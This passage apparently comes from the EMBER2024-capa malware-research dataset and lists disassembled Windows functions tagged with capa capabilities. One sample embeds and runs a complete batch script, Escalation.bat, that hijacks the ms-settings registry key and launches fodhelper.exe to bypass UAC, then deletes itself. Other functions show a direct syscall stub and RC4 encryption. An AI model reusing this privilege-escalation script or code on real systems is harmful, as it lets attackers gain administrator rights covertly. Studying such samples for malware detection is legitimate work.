joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140125f90
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rax, qword [0x1402f2080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov r8d, edx
lea rdx, str.Param_u
movaps xmm6, xmm2
lea rcx, [rsp + 0x38]
call fcn.140126330
mov rcx, qword [rbx + 8]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 8
lea rdx, [rsp + 0x38]
mov r9d, 3
mov qword [rsp + 0x20], rax
xor r8d, r8d
movsd qword [rsp + 0x30], xmm6
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140146480
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
ret

Function at 0x140126030
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1402f2080]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov rdi, r8
mov ebp, edx
mov rsi, rcx
test r8, r8
je 0x1401260c0
mov r8d, edx
lea rcx, [rsp + 0x38]
lea rdx, str.Param_u
call fcn.140126330
mov rcx, qword [rsi + 8]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x30], 8
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x1401260a8
lea eax, [rbx + 1]
jmp 0x1401260c2
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x1401260c0
mov r8, rdi
mov edx, ebp
call fcn.140111ed0
test al, al
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140146480
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret

Function at 0x1401260f0
Capabilities:
Set registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1402f2080]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbx, r8
mov rsi, rcx
mov r8d, edx
lea rcx, [rsp + 0x30]
lea rdx, str.Chunk_u
mov edi, r9d
call fcn.140126330
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x30]
mov r9d, 3
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140146480
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x140126170
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0xa0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x1402f2080]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov r14, r9
mov rbp, r8
mov esi, edx
mov rdi, rcx
xor ebx, ebx
test r9, r9
je 0x140126305
mov r8d, edx
lea rdx, str.Chunk_u
lea rcx, [rsp + 0x58]
call fcn.140126330
mov dword [r14], ebx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x38]
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
cmp dword [r14], ebx
je 0x14012621d
test rbp, rbp
je 0x14012623c
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x38]
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov ecx, ebx
test eax, eax
sete cl
test ecx, ecx
jne 0x14012623c
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140126305
test rbp, rbp
jne 0x140126246
mov edx, esi
mov rcx, rax
call fcn.140111f90
mov dword [r14], eax
mov ebx, 1
jmp 0x140126305
xor ecx, ecx
mov rdi, rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov r8, qword [rax + 0x128]
mov rdx, r8
mov rax, qword [r8 + 8]
cmp byte [rax + 0x19], cl
jne 0x140126291
nop dword [rax]
cmp dword [rax + 0x20], esi
jae 0x14012627b
mov rax, qword [rax + 0x10]
jmp 0x140126281
mov rdx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140126270
cmp rdx, r8
je 0x140126291
cmp esi, dword [rdx + 0x20]
jae 0x140126294
mov rdx, r8
cmp rdx, r8
je 0x1401262d1
add rdx, 0x28
lea rcx, [rsp + 0x40]
call fcn.140115260
mov rax, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x40]
sub rax, rdi
mov ebx, eax
mov r8d, eax
mov rdx, rdi
mov rcx, rbp
call fcn.140165560
mov dword [r14], ebx
mov ebx, 1
mov rcx, qword [rsp + 0x50]
test rdi, rdi
je 0x140126305
sub rcx, rdi
mov rax, rdi
cmp rcx, 0x1000
jb 0x1401262fa
add rcx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140126325
mov rdx, rcx
mov rcx, rdi
call fcn.140146bac
mov eax, ebx
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140146480
add rsp, 0xa0
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.14016e380
int3

Function at 0x14014a254
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14014a267
add rsp, 0x48
ret
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14014a874
lea rdx, [0x1402ecc08]
lea rcx, [rsp + 0x20]
call fcn.140165b50
int3

Function at 0x140154aa0
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x140300228]
xor edx, edx
jmp fcn.14014a254

Function at 0x140155438
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x140300228]
jmp fcn.14014a254
Function at 0x140160b84
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x140160c40]
mov r9, qword [r9 + 8]
jmp fcn.140152458

Function at 0x140160c18
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x140160c50]
mov r9, qword [r9 + 8]
jmp fcn.140152458
Function at 0x140001000
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x20]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001029
xor eax, eax
jmp 0x14000107f
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x140001052
xor eax, eax
jmp 0x14000107f
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x28]
mov qword [rcx], rax
mov eax, 1
add rsp, 0x18
ret

Function at 0x1400017d4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 4], 0
mov dword [rsp + 8], 0
mov dword [rsp + 0x10], 0
mov dword [rsp + 0xc], 0
jmp 0x140001813
mov eax, dword [rsp + 0xc]
inc eax
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0xc], eax
jae 0x140001902
mov eax, dword [rsp + 4]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 4], eax
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 8]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 8], eax
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
mov al, byte [rcx + rax]
mov byte [rsp], al
movsxd rax, dword [rsp + 8]
movsxd rcx, dword [rsp + 4]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x30]
mov al, byte [r8 + rax]
mov byte [rdx + rcx], al
movsxd rax, dword [rsp + 8]
mov rcx, qword [rsp + 0x30]
mov dl, byte [rsp]
mov byte [rcx + rax], dl
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
movsxd rcx, dword [rsp + 8]
mov rdx, qword [rsp + 0x30]
movzx ecx, byte [rdx + rcx]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x10], eax
movsxd rax, dword [rsp + 0xc]
movsxd rcx, dword [rsp + 0x10]
mov rdx, qword [rsp + 0x30]
movzx ecx, byte [rdx + rcx]
mov rdx, qword [rsp + 0x38]
movzx eax, byte [rdx + rax]
xor eax, ecx
movsxd rcx, dword [rsp + 0xc]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rcx], al
jmp 0x140001809
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001aa1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x1400043c0]
syscall
ret
Function at 0x140002800
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 0xf
mov dword [rsp + 0x40], ebp
jbe 0x140002831
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x1400028cd
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000289f
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000289a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002969
mov rcx, r8
call fcn.140004864
mov al, 1
mov byte [rdi], bpl
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rbp
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004800
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x14000290d
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002909
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140002904
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002969
mov rcx, r8
call fcn.140004864
xor al, al
jmp 0x1400028a1
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 0x285
mov qword [rsp + 0x20], rbp
lea rdx, str._echo_off_r_n_r_nREM_Create_registry_keys_r_nreg_add__HKCUSoftwareClassesms_settings_shellopencommand___v__DelegateExecute___t_REG_SZ__d_____f__nul_2_1_r_nreg_add__HKCUSoftwareClassesms_settings_shellopencommand___v_____t_REG_SZ__d__C:windowsSystem32cmd.exe__C__1___f__nul_2_1_r_n_r_nREM_Run_the_executable_with_elevated_privileges_r_nstart_____C:windows_system32_fodhelper.exe__r_n_r_nREM_Wait_for_a_second_r_ntimeout__t_1__nul_r_n_r_nREM_Delete_the_registry_keys_r_nreg_delete__HKCUSoftwareClassesms_settingsShellOpencommand___v_____f__nul_2_1_r_nreg_delete__HKCUSoftwareClassesms_settingsShellOpencommand___v__DelegateExecute___f__nul_2_1_r_n
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x140002956
cmp rax, 0xf
jbe 0x140002909
lea rdx, [rax + 1]
jmp 0x1400028e0
cmp rax, 0xf
jbe 0x14000289f
lea rdx, [rax + 1]
jmp 0x140002872
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140002970
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 0xf
mov dword [rsp + 0x40], ebp
jbe 0x1400029a1
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140002a3d
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002a0f
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140002a0a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002ad9
mov rcx, r8
call fcn.140004864
mov al, 1
mov byte [rdi], bpl
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rbp
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004800
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x140002a7d
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002a79
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140002a74
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002ad9
mov rcx, r8
call fcn.140004864
xor al, al
jmp 0x140002a11
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 2
mov qword [rsp + 0x20], rbp
lea rdx, [0x140006774]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x140002ac6
cmp rax, 0xf
jbe 0x140002a79
lea rdx, [rax + 1]
jmp 0x140002a50
cmp rax, 0xf
jbe 0x140002a0f
lea rdx, [rax + 1]
jmp 0x1400029e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140002ae0
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
call fcn.140004328
lea rdi, str.C:WindowsSystem32Driverscheck.txt
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], 0x25
lea r8, [rsp + 0x20]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.140001840
nop
mov dword [rsp + 0x30], 7
lea rcx, [rsp + 0x58]
call fcn.140002310
test al, al
jne 0x140002b89
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
lea r8d, [rbx + 0x25]
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.140003b30
lea rcx, [rsp + 0x38]
call fcn.140002970
cmp al, 1
jne 0x140002b89
movzx ebx, al
jmp 0x140002b8b
xor bl, bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140002bd0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004864
test bl, bl
je 0x140002be2
call fcn.140002410
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004328
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], 0x25
lea r8, [rsp + 0x20]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.140001840
nop
lea rcx, [rsp + 0x58]
call fcn.140002310
movzx ebx, al
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140002c59
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004864
test bl, bl
je 0x140002c64
mov byte [0x140009af8], 1
mov r8d, 0x104
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140002c9e
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140004800
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
lea rdx, [0x140006700]
lea rcx, [rsp + 0x38]
call fcn.140003270
mov rcx, rax
call fcn.140002800
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.C:userspublicEscalation.bat
lea rcx, [rsp + 0x58]
call fcn.140003270
nop
lea rdx, [0x140006740]
lea rcx, [rsp + 0x58]
call fcn.1400031f0
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.1400031f0
lea rdx, [0x140006740]
lea rcx, [rsp + 0x58]
call fcn.1400031f0
lea rcx, [rsp + 0x58]
call fcn.1400031e0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.del__F__Q__C:userspublicEscalation.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140002e80
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140002d40
cmp al, 1
je 0x140002ea6
call fcn.140002ae0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
add rsp, 0x28
ret
Function at 0x140004288
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400042c2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400042c7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140004310
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140006450]
cmp byte [rcx + rax], 0
je 0x140004310
dec r8
sub rdx, 1
jne 0x1400042f6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400051fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005246
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005246
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005246
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005246
cmp dword [rcx + 0x84], 0xe
jbe 0x140005246
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005248
xor al, al
add rsp, 0x28
ret
Function at 0x140003270
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400032cd
lea rbx, [0x1400cac50]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400032b4
cmp r10, 2
jb 0x1400032b4
cmp byte [r9], r8b
jne 0x1400032b4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140003290
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000330f
lea rbx, [0x1400cac50]
cmp r8b, 0x23
jne 0x1400032f3
cmp byte [r9], r8b
jne 0x1400032f3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400032e0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x1400034d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x1400034ff
mov r8d, 0x7bc
lea rdx, str.C:UsersAdminDownloadsSBAGGYBESTUI1SBAGGYimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x14000350b
mov qword [rdi], 0
lea rdx, [0x1400ca478]
mov rcx, rbx
call fcn.140003320
mov rbx, rax
test rax, rax
jne 0x14000352d
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140003604
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003604
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140003604
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003604
cmp rsi, 0xffffffffffffffff
je 0x140003604
mov rax, qword [0x140134318]
test rax, rax
je 0x1400035a1
inc dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140003604
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x1400035f1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140134318]
test rax, rax
je 0x1400035e6
dec dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000360d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x1400035ff
mov qword [rdi], rsi
mov rax, rbp
jmp 0x14000360f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140006d80
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xf0], 0
mov rsi, rcx
movsxd rdi, edx
jg 0x140006dbc
mov r8d, 0x70b
lea rdx, str.C:UsersAdminDownloadsSBAGGYBESTUI1SBAGGYimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0xf8]
lea rdx, [0x1400cac50]
movsxd r8, dword [rsi + 0xf0]
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, dil
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdx + rcx*4]
mov rcx, qword [rsi]
not ebx
cmp dword [rcx + 0x3f38], ebx
jne 0x140006e37
mov r8, rdi
mov edx, 4
mov ecx, ebx
call fcn.14001cc80
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400159a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x140134318]
mov edi, ecx
cmp byte [rbx + 0x4a75], 0
jne 0x1400159f2
cmp byte [rbx + 0x4a76], 0
jne 0x1400159f2
movsx r9d, word [rbx + 0x5b82]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.1400031f0
test dil, 1
je 0x140015b1f
jmp 0x140015a7b
movss xmm1, dword [rbx + 0x38bc]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1400d1eac]
xor eax, eax
mulss xmm1, dword [0x1400d1e9c]
addss xmm0, dword [rbx + 0xe08]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0xe0c]
mov qword [rbx + 0x47e0], rax
mov dword [rbx + 0x47cc], 1
movss dword [rbx + 0x47d8], xmm0
movss dword [rbx + 0x47dc], xmm1
movss xmm0, dword [rbx + 0x3924]
mulss xmm0, dword [0x1400d1db8]
or dword [rbx + 0x47c8], 0x41
movss dword [rbx + 0x4828], xmm0
movsx r9d, word [rbx + 0x5b82]
call fcn.1400031f0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140015ad0
lea r11, [0x1400cac50]
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x140015ab3
cmp byte [r8], r9b
jne 0x140015ab3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140015aa0
not ecx
call fcn.14000ac00
test rax, rax
je 0x140015b1f
cmp byte [rax + 0xb6], 0
je 0x140015b1f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5b82]
